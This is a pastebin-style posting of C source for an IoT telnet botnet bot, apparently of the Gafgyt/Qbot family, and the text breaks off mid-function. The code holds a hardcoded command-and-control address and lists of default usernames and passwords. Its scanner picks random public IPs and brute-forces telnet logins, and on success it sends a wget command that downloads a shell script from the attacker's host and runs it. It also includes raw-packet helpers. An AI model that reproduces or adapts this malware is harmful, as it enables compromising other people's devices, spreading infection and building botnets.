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nexonsupport
Nov 6th, 2016
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  1.  
  2.  
  3. //
  4.  
  5. #define SERVER_LIST_SIZE (sizeof(commServer) / sizeof(unsigned char *))
  6. #define PAD_RIGHT 1
  7. #define PAD_ZERO 2
  8. #define PRINT_BUF_LEN 12
  9. #define CMD_IAC 255
  10. #define CMD_WILL 251
  11. #define CMD_WONT 252
  12. #define CMD_DO 253
  13. #define CMD_DONT 254
  14. #define OPT_SGA 3
  15.  
  16. //
  17.  
  18. #include <stdlib.h>
  19. #include <stdarg.h>
  20. #include <stdio.h>
  21. #include <sys/socket.h>
  22. #include <sys/types.h>
  23. #include <netinet/in.h>
  24. #include <arpa/inet.h>
  25. #include <netdb.h>
  26. #include <signal.h>
  27. #include <strings.h>
  28. #include <string.h>
  29. #include <sys/utsname.h>
  30. #include <unistd.h>
  31. #include <fcntl.h>
  32. #include <errno.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/udp.h>
  35. #include <netinet/tcp.h>
  36. #include <sys/wait.h>
  37. #include <sys/ioctl.h>
  38. #include <net/if.h>
  39.  
  40.  
  41.  
  42. unsigned char *commServer[] =
  43. {
  44. "185.141.24.50:23"
  45. };
  46.  
  47.  
  48. int initConnection();
  49. int getBogos(unsigned char *bogomips);
  50. int getCores();
  51. int getCountry(unsigned char *buf, int bufsize);
  52. void makeRandomStr(unsigned char *buf, int length);
  53. int sockprintf(int sock, char *formatStr, ...);
  54. char *inet_ntoa(struct in_addr in);
  55.  
  56.  
  57.  
  58. int mainCommSock = 0, currentServer = -1, gotIP = 0;
  59. uint32_t *pids;
  60. uint32_t scanPid;
  61. uint64_t numpids = 0;
  62. struct in_addr ourIP;
  63. unsigned char macAddress[6] = {0};
  64. char *usernames[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "ubnt\0", "guest\0"};
  65. char *passwords[] = {"root\0", "\0", "admin\0", "user\0", "login\0", "changeme\0", "ubnt\0", "guest\0"};
  66.  
  67.  
  68.  
  69. #define PHI 0x9e3779b9
  70. static uint32_t Q[4096], c = 362436;
  71.  
  72. void init_rand(uint32_t x)
  73. {
  74. int i;
  75.  
  76. Q[0] = x;
  77. Q[1] = x + PHI;
  78. Q[2] = x + PHI + PHI;
  79.  
  80. for (i = 3; i < 4096; i++) Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
  81. }
  82.  
  83. uint32_t rand_cmwc(void)
  84. {
  85. uint64_t t, a = 18782LL;
  86. static uint32_t i = 4095;
  87. uint32_t x, r = 0xfffffffe;
  88. i = (i + 1) & 4095;
  89. t = a * Q[i] + c;
  90. c = (uint32_t)(t >> 32);
  91. x = t + c;
  92. if (x < c) {
  93. x++;
  94. c++;
  95. }
  96. return (Q[i] = r - x);
  97. }
  98.  
  99.  
  100.  
  101. void trim(char *str)
  102. {
  103. int i;
  104. int begin = 0;
  105. int end = strlen(str) - 1;
  106.  
  107. while (isspace(str[begin])) begin++;
  108.  
  109. while ((end >= begin) && isspace(str[end])) end--;
  110. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  111.  
  112. str[i - begin] = '\0';
  113. }
  114.  
  115. static void printchar(unsigned char **str, int c)
  116. {
  117. if (str) {
  118. **str = c;
  119. ++(*str);
  120. }
  121. else (void)write(1, &c, 1);
  122. }
  123.  
  124. static int prints(unsigned char **out, const unsigned char *string, int width, int pad)
  125. {
  126. register int pc = 0, padchar = ' ';
  127.  
  128. if (width > 0) {
  129. register int len = 0;
  130. register const unsigned char *ptr;
  131. for (ptr = string; *ptr; ++ptr) ++len;
  132. if (len >= width) width = 0;
  133. else width -= len;
  134. if (pad & PAD_ZERO) padchar = '0';
  135. }
  136. if (!(pad & PAD_RIGHT)) {
  137. for ( ; width > 0; --width) {
  138. printchar (out, padchar);
  139. ++pc;
  140. }
  141. }
  142. for ( ; *string ; ++string) {
  143. printchar (out, *string);
  144. ++pc;
  145. }
  146. for ( ; width > 0; --width) {
  147. printchar (out, padchar);
  148. ++pc;
  149. }
  150.  
  151. return pc;
  152. }
  153.  
  154. static int printi(unsigned char **out, int i, int b, int sg, int width, int pad, int letbase)
  155. {
  156. unsigned char print_buf[PRINT_BUF_LEN];
  157. register unsigned char *s;
  158. register int t, neg = 0, pc = 0;
  159. register unsigned int u = i;
  160.  
  161. if (i == 0) {
  162. print_buf[0] = '0';
  163. print_buf[1] = '\0';
  164. return prints (out, print_buf, width, pad);
  165. }
  166.  
  167. if (sg && b == 10 && i < 0) {
  168. neg = 1;
  169. u = -i;
  170. }
  171.  
  172. s = print_buf + PRINT_BUF_LEN-1;
  173. *s = '\0';
  174.  
  175. while (u) {
  176. t = u % b;
  177. if( t >= 10 )
  178. t += letbase - '0' - 10;
  179. *--s = t + '0';
  180. u /= b;
  181. }
  182.  
  183. if (neg) {
  184. if( width && (pad & PAD_ZERO) ) {
  185. printchar (out, '-');
  186. ++pc;
  187. --width;
  188. }
  189. else {
  190. *--s = '-';
  191. }
  192. }
  193.  
  194. return pc + prints (out, s, width, pad);
  195. }
  196.  
  197. static int print(unsigned char **out, const unsigned char *format, va_list args )
  198. {
  199. register int width, pad;
  200. register int pc = 0;
  201. unsigned char scr[2];
  202.  
  203. for (; *format != 0; ++format) {
  204. if (*format == '%') {
  205. ++format;
  206. width = pad = 0;
  207. if (*format == '\0') break;
  208. if (*format == '%') goto out;
  209. if (*format == '-') {
  210. ++format;
  211. pad = PAD_RIGHT;
  212. }
  213. while (*format == '0') {
  214. ++format;
  215. pad |= PAD_ZERO;
  216. }
  217. for ( ; *format >= '0' && *format <= '9'; ++format) {
  218. width *= 10;
  219. width += *format - '0';
  220. }
  221. if( *format == 's' ) {
  222. register char *s = (char *)va_arg( args, int );
  223. pc += prints (out, s?s:"(null)", width, pad);
  224. continue;
  225. }
  226. if( *format == 'd' ) {
  227. pc += printi (out, va_arg( args, int ), 10, 1, width, pad, 'a');
  228. continue;
  229. }
  230. if( *format == 'x' ) {
  231. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'a');
  232. continue;
  233. }
  234. if( *format == 'X' ) {
  235. pc += printi (out, va_arg( args, int ), 16, 0, width, pad, 'A');
  236. continue;
  237. }
  238. if( *format == 'u' ) {
  239. pc += printi (out, va_arg( args, int ), 10, 0, width, pad, 'a');
  240. continue;
  241. }
  242. if( *format == 'c' ) {
  243. scr[0] = (unsigned char)va_arg( args, int );
  244. scr[1] = '\0';
  245. pc += prints (out, scr, width, pad);
  246. continue;
  247. }
  248. }
  249. else {
  250. out:
  251. printchar (out, *format);
  252. ++pc;
  253. }
  254. }
  255. if (out) **out = '\0';
  256. va_end( args );
  257. return pc;
  258. }
  259.  
  260. int zprintf(const unsigned char *format, ...)
  261. {
  262. va_list args;
  263. va_start( args, format );
  264. return print( 0, format, args );
  265. }
  266.  
  267. int szprintf(unsigned char *out, const unsigned char *format, ...)
  268. {
  269. va_list args;
  270. va_start( args, format );
  271. return print( &out, format, args );
  272. }
  273.  
  274.  
  275. int sockprintf(int sock, char *formatStr, ...)
  276. {
  277. unsigned char *textBuffer = malloc(2048);
  278. memset(textBuffer, 0, 2048);
  279. char *orig = textBuffer;
  280. va_list args;
  281. va_start(args, formatStr);
  282. print(&textBuffer, formatStr, args);
  283. va_end(args);
  284. orig[strlen(orig)] = '\n';
  285. zprintf("buf: %s\n", orig);
  286. int q = send(sock,orig,strlen(orig), MSG_NOSIGNAL);
  287. free(orig);
  288. return q;
  289. }
  290.  
  291. static int *fdopen_pids;
  292.  
  293. int fdpopen(unsigned char *program, register unsigned char *type)
  294. {
  295. register int iop;
  296. int pdes[2], fds, pid;
  297.  
  298. if (*type != 'r' && *type != 'w' || type[1]) return -1;
  299.  
  300. if (pipe(pdes) < 0) return -1;
  301. if (fdopen_pids == NULL) {
  302. if ((fds = getdtablesize()) <= 0) return -1;
  303. if ((fdopen_pids = (int *)malloc((unsigned int)(fds * sizeof(int)))) == NULL) return -1;
  304. memset((unsigned char *)fdopen_pids, 0, fds * sizeof(int));
  305. }
  306.  
  307. switch (pid = vfork())
  308. {
  309. case -1:
  310. close(pdes[0]);
  311. close(pdes[1]);
  312. return -1;
  313. case 0:
  314. if (*type == 'r') {
  315. if (pdes[1] != 1) {
  316. dup2(pdes[1], 1);
  317. close(pdes[1]);
  318. }
  319. close(pdes[0]);
  320. } else {
  321. if (pdes[0] != 0) {
  322. (void) dup2(pdes[0], 0);
  323. (void) close(pdes[0]);
  324. }
  325. (void) close(pdes[1]);
  326. }
  327. execl("/bin/sh", "sh", "-c", program, NULL);
  328. _exit(127);
  329. }
  330. if (*type == 'r') {
  331. iop = pdes[0];
  332. (void) close(pdes[1]);
  333. } else {
  334. iop = pdes[1];
  335. (void) close(pdes[0]);
  336. }
  337. fdopen_pids[iop] = pid;
  338. return (iop);
  339. }
  340.  
  341. int fdpclose(int iop)
  342. {
  343. register int fdes;
  344. sigset_t omask, nmask;
  345. int pstat;
  346. register int pid;
  347.  
  348. if (fdopen_pids == NULL || fdopen_pids[iop] == 0) return (-1);
  349. (void) close(iop);
  350. sigemptyset(&nmask);
  351. sigaddset(&nmask, SIGINT);
  352. sigaddset(&nmask, SIGQUIT);
  353. sigaddset(&nmask, SIGHUP);
  354. (void) sigprocmask(SIG_BLOCK, &nmask, &omask);
  355. do {
  356. pid = waitpid(fdopen_pids[iop], (int *) &pstat, 0);
  357. } while (pid == -1 && errno == EINTR);
  358. (void) sigprocmask(SIG_SETMASK, &omask, NULL);
  359. fdopen_pids[fdes] = 0;
  360. return (pid == -1 ? -1 : WEXITSTATUS(pstat));
  361. }
  362.  
  363. unsigned char *fdgets(unsigned char *buffer, int bufferSize, int fd)
  364. {
  365. int got = 1, total = 0;
  366. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  367. return got == 0 ? NULL : buffer;
  368. }
  369.  
  370. static const long hextable[] = {
  371. [0 ... 255] = -1,
  372. ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9,
  373. ['A'] = 10, 11, 12, 13, 14, 15,
  374. ['a'] = 10, 11, 12, 13, 14, 15
  375. };
  376.  
  377. long parseHex(unsigned char *hex)
  378. {
  379. long ret = 0;
  380. while (*hex && ret >= 0) ret = (ret << 4) | hextable[*hex++];
  381. return ret;
  382. }
  383.  
  384. int wildString(const unsigned char* pattern, const unsigned char* string) {
  385. switch(*pattern)
  386. {
  387. case '\0': return *string;
  388. case '*': return !(!wildString(pattern+1, string) || *string && !wildString(pattern, string+1));
  389. case '?': return !(*string && !wildString(pattern+1, string+1));
  390. default: return !((toupper(*pattern) == toupper(*string)) && !wildString(pattern+1, string+1));
  391. }
  392. }
  393.  
  394. int getHost(unsigned char *toGet, struct in_addr *i)
  395. {
  396. struct hostent *h;
  397. if((i->s_addr = inet_addr(toGet)) == -1) return 1;
  398. return 0;
  399. }
  400.  
  401. void uppercase(unsigned char *str)
  402. {
  403. while(*str) { *str = toupper(*str); str++; }
  404. }
  405.  
  406. int getBogos(unsigned char *bogomips)
  407. {
  408. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  409. char linebuf[4096];
  410. while(fdgets(linebuf, 4096, cmdline) != NULL)
  411. {
  412. uppercase(linebuf);
  413. if(strstr(linebuf, "BOGOMIPS") == linebuf)
  414. {
  415. unsigned char *pos = linebuf + 8;
  416. while(*pos == ' ' || *pos == '\t' || *pos == ':') pos++;
  417. while(pos[strlen(pos)-1] == '\r' || pos[strlen(pos)-1] == '\n') pos[strlen(pos)-1]=0;
  418. if(strchr(pos, '.') != NULL) *strchr(pos, '.') = 0x00;
  419. strcpy(bogomips, pos);
  420. close(cmdline);
  421. return 0;
  422. }
  423. memset(linebuf, 0, 4096);
  424. }
  425. close(cmdline);
  426. return 1;
  427. }
  428.  
  429. int getCores()
  430. {
  431. int totalcores = 0;
  432. int cmdline = open("/proc/cpuinfo", O_RDONLY);
  433. char linebuf[4096];
  434. while(fdgets(linebuf, 4096, cmdline) != NULL)
  435. {
  436. uppercase(linebuf);
  437. if(strstr(linebuf, "BOGOMIPS") == linebuf) totalcores++;
  438. memset(linebuf, 0, 4096);
  439. }
  440. close(cmdline);
  441. return totalcores;
  442.  
  443. }
  444.  
  445. void makeRandomStr(unsigned char *buf, int length)
  446. {
  447. int i = 0;
  448. for(i = 0; i < length; i++) buf[i] = (rand_cmwc()%(91-65))+65;
  449. }
  450.  
  451. int recvLine(int socket, unsigned char *buf, int bufsize)
  452. {
  453. memset(buf, 0, bufsize);
  454.  
  455. fd_set myset;
  456. struct timeval tv;
  457. tv.tv_sec = 30;
  458. tv.tv_usec = 0;
  459. FD_ZERO(&myset);
  460. FD_SET(socket, &myset);
  461. int selectRtn, retryCount;
  462. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  463. while(retryCount < 10)
  464. {
  465. sockprintf(mainCommSock, "PING");
  466.  
  467. tv.tv_sec = 30;
  468. tv.tv_usec = 0;
  469. FD_ZERO(&myset);
  470. FD_SET(socket, &myset);
  471. if ((selectRtn = select(socket+1, &myset, NULL, &myset, &tv)) <= 0) {
  472. retryCount++;
  473. continue;
  474. }
  475.  
  476. break;
  477. }
  478. }
  479.  
  480. unsigned char tmpchr;
  481. unsigned char *cp;
  482. int count = 0;
  483.  
  484. cp = buf;
  485. while(bufsize-- > 1)
  486. {
  487. if(recv(mainCommSock, &tmpchr, 1, 0) != 1) {
  488. *cp = 0x00;
  489. return -1;
  490. }
  491. *cp++ = tmpchr;
  492. if(tmpchr == '\n') break;
  493. count++;
  494. }
  495. *cp = 0x00;
  496.  
  497. zprintf("recv: %s\n", cp);
  498.  
  499. return count;
  500. }
  501.  
  502. int connectTimeout(int fd, char *host, int port, int timeout)
  503. {
  504. struct sockaddr_in dest_addr;
  505. fd_set myset;
  506. struct timeval tv;
  507. socklen_t lon;
  508.  
  509. int valopt;
  510. long arg = fcntl(fd, F_GETFL, NULL);
  511. arg |= O_NONBLOCK;
  512. fcntl(fd, F_SETFL, arg);
  513.  
  514. dest_addr.sin_family = AF_INET;
  515. dest_addr.sin_port = htons(port);
  516. if(getHost(host, &dest_addr.sin_addr)) return 0;
  517. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  518. int res = connect(fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr));
  519.  
  520. if (res < 0) {
  521. if (errno == EINPROGRESS) {
  522. tv.tv_sec = timeout;
  523. tv.tv_usec = 0;
  524. FD_ZERO(&myset);
  525. FD_SET(fd, &myset);
  526. if (select(fd+1, NULL, &myset, NULL, &tv) > 0) {
  527. lon = sizeof(int);
  528. getsockopt(fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  529. if (valopt) return 0;
  530. }
  531. else return 0;
  532. }
  533. else return 0;
  534. }
  535.  
  536. arg = fcntl(fd, F_GETFL, NULL);
  537. arg &= (~O_NONBLOCK);
  538. fcntl(fd, F_SETFL, arg);
  539.  
  540. return 1;
  541. }
  542.  
  543. int listFork()
  544. {
  545. uint32_t parent, *newpids, i;
  546. parent = fork();
  547. if (parent <= 0) return parent;
  548. numpids++;
  549. newpids = (uint32_t*)malloc((numpids + 1) * 4);
  550. for (i = 0; i < numpids - 1; i++) newpids[i] = pids[i];
  551. newpids[numpids - 1] = parent;
  552. free(pids);
  553. pids = newpids;
  554. return parent;
  555. }
  556.  
  557. int negotiate(int sock, unsigned char *buf, int len)
  558. {
  559. unsigned char c;
  560.  
  561. switch (buf[1]) {
  562. case CMD_IAC: /*dropped an extra 0xFF wh00ps*/ return 0;
  563. case CMD_WILL:
  564. case CMD_WONT:
  565. case CMD_DO:
  566. case CMD_DONT:
  567. c = CMD_IAC;
  568. send(sock, &c, 1, MSG_NOSIGNAL);
  569. if (CMD_WONT == buf[1]) c = CMD_DONT;
  570. else if (CMD_DONT == buf[1]) c = CMD_WONT;
  571. else if (OPT_SGA == buf[1]) c = (buf[1] == CMD_DO ? CMD_WILL : CMD_DO);
  572. else c = (buf[1] == CMD_DO ? CMD_WONT : CMD_DONT);
  573. send(sock, &c, 1, MSG_NOSIGNAL);
  574. send(sock, &(buf[2]), 1, MSG_NOSIGNAL);
  575. break;
  576.  
  577. default:
  578. break;
  579. }
  580.  
  581. return 0;
  582. }
  583.  
  584. int matchPrompt(char *bufStr)
  585. {
  586. char *prompts = ":>%$#\0";
  587.  
  588. int bufLen = strlen(bufStr);
  589. int i, q = 0;
  590. for(i = 0; i < strlen(prompts); i++)
  591. {
  592. while(bufLen > q && (*(bufStr + bufLen - q) == 0x00 || *(bufStr + bufLen - q) == ' ' || *(bufStr + bufLen - q) == '\r' || *(bufStr + bufLen - q) == '\n')) q++;
  593. if(*(bufStr + bufLen - q) == prompts[i]) return 1;
  594. }
  595.  
  596. return 0;
  597. }
  598.  
  599. int readUntil(int fd, char *toFind, int matchLePrompt, int timeout, int timeoutusec, char *buffer, int bufSize, int initialIndex)
  600. {
  601. int bufferUsed = initialIndex, got = 0, found = 0;
  602. fd_set myset;
  603. struct timeval tv;
  604. tv.tv_sec = timeout;
  605. tv.tv_usec = timeoutusec;
  606. unsigned char *initialRead = NULL;
  607.  
  608. while(bufferUsed + 2 < bufSize && (tv.tv_sec > 0 || tv.tv_usec > 0))
  609. {
  610. FD_ZERO(&myset);
  611. FD_SET(fd, &myset);
  612. if (select(fd+1, &myset, NULL, NULL, &tv) < 1) break;
  613. initialRead = buffer + bufferUsed;
  614. got = recv(fd, initialRead, 1, 0);
  615. if(got == -1 || got == 0) return 0;
  616. bufferUsed += got;
  617. if(*initialRead == 0xFF)
  618. {
  619. got = recv(fd, initialRead + 1, 2, 0);
  620. if(got == -1 || got == 0) return 0;
  621. bufferUsed += got;
  622. if(!negotiate(fd, initialRead, 3)) return 0;
  623. } else {
  624. if(strstr(buffer, toFind) != NULL || (matchLePrompt && matchPrompt(buffer))) { found = 1; break; }
  625. }
  626. }
  627.  
  628. if(found) return 1;
  629. return 0;
  630. }
  631.  
  632.  
  633.  
  634. static uint8_t ipState[5] = {0}; //starting from 1 becuz yolo
  635. in_addr_t getRandomPublicIP()
  636. {
  637. if(ipState[1] > 0 && ipState[4] < 255)
  638. {
  639. ipState[4]++;
  640. char ip[16] = {0};
  641. szprintf(ip, "%d.%d.%d.%d", ipState[1], ipState[2], ipState[3], ipState[4]);
  642. return inet_addr(ip);
  643. }
  644.  
  645. ipState[1] = rand() % 255;
  646. ipState[2] = rand() % 255;
  647. ipState[3] = rand() % 255;
  648. ipState[4] = 0;
  649. while(
  650. (ipState[1] == 0) ||
  651. (ipState[1] == 10) ||
  652. (ipState[1] == 100 && (ipState[2] >= 64 && ipState[2] <= 127)) ||
  653. (ipState[1] == 127) ||
  654. (ipState[1] == 169 && ipState[2] == 254) ||
  655. (ipState[1] == 172 && (ipState[2] <= 16 && ipState[2] <= 31)) ||
  656. (ipState[1] == 192 && ipState[2] == 0 && ipState[3] == 2) ||
  657. (ipState[1] == 192 && ipState[2] == 88 && ipState[3] == 99) ||
  658. (ipState[1] == 192 && ipState[2] == 168) ||
  659. (ipState[1] == 198 && (ipState[2] == 18 || ipState[2] == 19)) ||
  660. (ipState[1] == 198 && ipState[2] == 51 && ipState[3] == 100) ||
  661. (ipState[1] == 203 && ipState[2] == 0 && ipState[3] == 113) ||
  662. (ipState[1] >= 224)
  663. )
  664. {
  665. ipState[1] = rand() % 255;
  666. ipState[2] = rand() % 255;
  667. ipState[3] = rand() % 255;
  668. }
  669.  
  670. char ip[16] = {0};
  671. szprintf(ip, "%d.%d.%d.0", ipState[1], ipState[2], ipState[3]);
  672. return inet_addr(ip);
  673. }
  674.  
  675. in_addr_t getRandomIP(in_addr_t netmask)
  676. {
  677. in_addr_t tmp = ntohl(ourIP.s_addr) & netmask;
  678. return tmp ^ ( rand_cmwc() & ~netmask);
  679. }
  680.  
  681. unsigned short csum (unsigned short *buf, int count)
  682. {
  683. register uint64_t sum = 0;
  684. while( count > 1 ) { sum += *buf++; count -= 2; }
  685. if(count > 0) { sum += *(unsigned char *)buf; }
  686. while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
  687. return (uint16_t)(~sum);
  688. }
  689.  
  690. unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph)
  691. {
  692.  
  693. struct tcp_pseudo
  694. {
  695. unsigned long src_addr;
  696. unsigned long dst_addr;
  697. unsigned char zero;
  698. unsigned char proto;
  699. unsigned short length;
  700. } pseudohead;
  701. unsigned short total_len = iph->tot_len;
  702. pseudohead.src_addr=iph->saddr;
  703. pseudohead.dst_addr=iph->daddr;
  704. pseudohead.zero=0;
  705. pseudohead.proto=IPPROTO_TCP;
  706. pseudohead.length=htons(sizeof(struct tcphdr));
  707. int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
  708. unsigned short *tcp = malloc(totaltcp_len);
  709. memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
  710. memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
  711. unsigned short output = csum(tcp,totaltcp_len);
  712. free(tcp);
  713. return output;
  714. }
  715.  
  716. void makeIPPacket(struct iphdr *iph, uint32_t dest, uint32_t source, uint8_t protocol, int packetSize)
  717. {
  718. iph->ihl = 5;
  719. iph->version = 4;
  720. iph->tos = 0;
  721. iph->tot_len = sizeof(struct iphdr) + packetSize;
  722. iph->id = rand_cmwc();
  723. iph->frag_off = 0;
  724. iph->ttl = MAXTTL;
  725. iph->protocol = protocol;
  726. iph->check = 0;
  727. iph->saddr = source;
  728. iph->daddr = dest;
  729. }
  730.  
  731. int sclose(int fd)
  732. {
  733. if(3 > fd) return 1;
  734. close(fd);
  735. return 0;
  736. }
  737.  
  738.  
  739.  
  740. void StartTheLelz()
  741. {
  742. int max = (getdtablesize() / 4) * 3, i, res;
  743. fd_set myset;
  744. struct timeval tv;
  745. socklen_t lon;
  746. int valopt;
  747.  
  748. max = max > 512 ? 512 : max;
  749.  
  750. struct sockaddr_in dest_addr;
  751. dest_addr.sin_family = AF_INET;
  752. dest_addr.sin_port = htons(23);
  753. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  754.  
  755. struct telstate_t
  756. {
  757. int fd;
  758. uint32_t ip;
  759. uint8_t state;
  760. uint8_t complete;
  761. uint8_t usernameInd;
  762. uint8_t passwordInd;
  763. uint32_t totalTimeout;
  764. uint16_t bufUsed;
  765. char *sockbuf;
  766. } fds[max];
  767. memset(fds, 0, max * (sizeof(int) + 1));
  768. for(i = 0; i < max; i++) { fds[i].complete = 1; fds[i].sockbuf = malloc(1024); memset(fds[i].sockbuf, 0, 1024); }
  769.  
  770. while(1)
  771. {
  772. for(i = 0; i < max; i++)
  773. {
  774. switch(fds[i].state)
  775. {
  776. case 0:
  777. {
  778. memset(fds[i].sockbuf, 0, 1024);
  779.  
  780. if(fds[i].complete) { char *tmp = fds[i].sockbuf; memset(&(fds[i]), 0, sizeof(struct telstate_t)); fds[i].sockbuf = tmp; fds[i].ip = getRandomPublicIP(); }
  781. else {
  782. fds[i].passwordInd++;
  783. if(fds[i].passwordInd == sizeof(passwords) / sizeof(char *)) { fds[i].passwordInd = 0; fds[i].usernameInd++; }
  784. if(fds[i].usernameInd == sizeof(usernames) / sizeof(char *)) { fds[i].complete = 1; continue; }
  785. }
  786. dest_addr.sin_family = AF_INET;
  787. dest_addr.sin_port = htons(23);
  788. memset(dest_addr.sin_zero, '\0', sizeof dest_addr.sin_zero);
  789. dest_addr.sin_addr.s_addr = fds[i].ip;
  790. fds[i].fd = socket(AF_INET, SOCK_STREAM, 0);
  791. if(fds[i].fd == -1) { continue; }
  792. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) | O_NONBLOCK);
  793. if(connect(fds[i].fd, (struct sockaddr *)&dest_addr, sizeof(dest_addr)) == -1 && errno != EINPROGRESS) { sclose(fds[i].fd); fds[i].complete = 1; }
  794. else { fds[i].state = 1; fds[i].totalTimeout = 0; }
  795. }
  796. break;
  797.  
  798. case 1:
  799. {
  800. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  801.  
  802. FD_ZERO(&myset);
  803. FD_SET(fds[i].fd, &myset);
  804. tv.tv_sec = 0;
  805. tv.tv_usec = 10000;
  806. res = select(fds[i].fd+1, NULL, &myset, NULL, &tv);
  807. if(res == 1)
  808. {
  809. lon = sizeof(int);
  810. valopt = 0;
  811. getsockopt(fds[i].fd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon);
  812. if(valopt)
  813. {
  814. sclose(fds[i].fd);
  815. fds[i].state = 0;
  816. fds[i].complete = 1;
  817. } else {
  818. fcntl(fds[i].fd, F_SETFL, fcntl(fds[i].fd, F_GETFL, NULL) & (~O_NONBLOCK));
  819. fds[i].totalTimeout = 0;
  820. fds[i].bufUsed = 0;
  821. memset(fds[i].sockbuf, 0, 1024);
  822. fds[i].state = 2;
  823. continue;
  824. }
  825. } else if(res == -1)
  826. {
  827. sclose(fds[i].fd);
  828. fds[i].state = 0;
  829. fds[i].complete = 1;
  830. }
  831.  
  832. if(fds[i].totalTimeout + 10 < time(NULL))
  833. {
  834. sclose(fds[i].fd);
  835. fds[i].state = 0;
  836. fds[i].complete = 1;
  837. }
  838. }
  839. break;
  840.  
  841. case 2:
  842. {
  843. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  844.  
  845. if(readUntil(fds[i].fd, "ogin:", 0, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  846. {
  847. fds[i].totalTimeout = 0;
  848. fds[i].bufUsed = 0;
  849. memset(fds[i].sockbuf, 0, 1024);
  850. fds[i].state = 3;
  851. continue;
  852. } else {
  853. fds[i].bufUsed = strlen(fds[i].sockbuf);
  854. }
  855.  
  856. if(fds[i].totalTimeout + 30 < time(NULL))
  857. {
  858. sclose(fds[i].fd);
  859. fds[i].state = 0;
  860. fds[i].complete = 1;
  861. }
  862. }
  863. break;
  864.  
  865. case 3:
  866. {
  867. if(send(fds[i].fd, usernames[fds[i].usernameInd], strlen(usernames[fds[i].usernameInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  868. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  869. fds[i].state = 4;
  870. }
  871. break;
  872.  
  873. case 4:
  874. {
  875. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  876.  
  877. if(readUntil(fds[i].fd, "assword:", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  878. {
  879. fds[i].totalTimeout = 0;
  880. fds[i].bufUsed = 0;
  881. if(strstr(fds[i].sockbuf, "assword:") != NULL) fds[i].state = 5;
  882. else fds[i].state = 100;
  883. memset(fds[i].sockbuf, 0, 1024);
  884. continue;
  885. } else {
  886. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  887. fds[i].bufUsed = strlen(fds[i].sockbuf);
  888. }
  889.  
  890. if(fds[i].totalTimeout + 30 < time(NULL))
  891. {
  892. sclose(fds[i].fd);
  893. fds[i].state = 0;
  894. fds[i].complete = 1;
  895. }
  896. }
  897. break;
  898.  
  899. case 5:
  900. {
  901. if(send(fds[i].fd, passwords[fds[i].passwordInd], strlen(passwords[fds[i].passwordInd]), MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  902. if(send(fds[i].fd, "\r\n", 2, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  903. fds[i].state = 6;
  904. }
  905. break;
  906.  
  907. case 6:
  908. {
  909. if(fds[i].totalTimeout == 0) fds[i].totalTimeout = time(NULL);
  910.  
  911. if(readUntil(fds[i].fd, "ncorrect", 1, 0, 10000, fds[i].sockbuf, 1024, fds[i].bufUsed))
  912. {
  913. fds[i].totalTimeout = 0;
  914. fds[i].bufUsed = 0;
  915. if(strstr(fds[i].sockbuf, "ncorrect") != NULL) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 0; continue; }
  916. if(!matchPrompt(fds[i].sockbuf)) { memset(fds[i].sockbuf, 0, 1024); sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  917. else fds[i].state = 7;
  918. memset(fds[i].sockbuf, 0, 1024);
  919. continue;
  920. } else {
  921. fds[i].bufUsed = strlen(fds[i].sockbuf);
  922. }
  923.  
  924. if(fds[i].totalTimeout + 30 < time(NULL))
  925. {
  926. sclose(fds[i].fd);
  927. fds[i].state = 0;
  928. fds[i].complete = 1;
  929. }
  930. }
  931. break;
  932.  
  933. case 7:
  934. {
  935. if(send(fds[i].fd, "sh\r\n", 4, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  936. fds[i].state = 8;
  937. }
  938. break;
  939.  
  940. case 8:
  941. {
  942. if(send(fds[i].fd, "cd /tmp && wget http://185.141.24.50/binaries.sh && chmod +x binaries.sh && sh binaries.sh && rm -f binaries.sh\r\n", 143, MSG_NOSIGNAL) < 0) { sclose(fds[i].fd); fds[i].state = 0; fds[i].complete = 1; continue; }
  943. fds[i].state = 9;
  944. }
  945. break;
  946.  
  947. case 9:
  948. {
